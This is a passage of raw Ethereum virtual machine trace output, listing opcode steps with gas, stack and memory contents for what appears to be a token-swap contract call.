000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5342,"op":"JUMP","gas":102157,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x3acc"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15052,"op":"JUMPDEST","gas":102149,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15053,"op":"PUSH1","gas":102148,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15055,"op":"PUSH1","gas":102145,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15057,"op":"DUP3","gas":102142,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15058,"op":"DUP5","gas":102139,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0","0x20","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15059,"op":"SUB","gas":102136,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0","0x20","0x1e0","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15060,"op":"SLT","gas":102133,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15061,"op":"ISZERO","gas":102130,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15062,"op":"PUSH2","gas":102127,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15065,"op":"JUMPI","gas":102124,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0","0x1","0x3ade"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15070,"op":"JUMPDEST","gas":102114,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15071,"op":"POP","gas":102113,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15072,"op":"MLOAD","gas":102111,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15073,"op":"SWAP2","gas":102108,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x14df","0x200","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15074,"op":"SWAP1","gas":102105,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x3","0x200","0x14df"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15075,"op":"POP","gas":102102,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x3","0x14df","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15076,"op":"JUMP","gas":102100,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x3","0x14df"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5343,"op":"JUMPDEST","gas":102092,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54f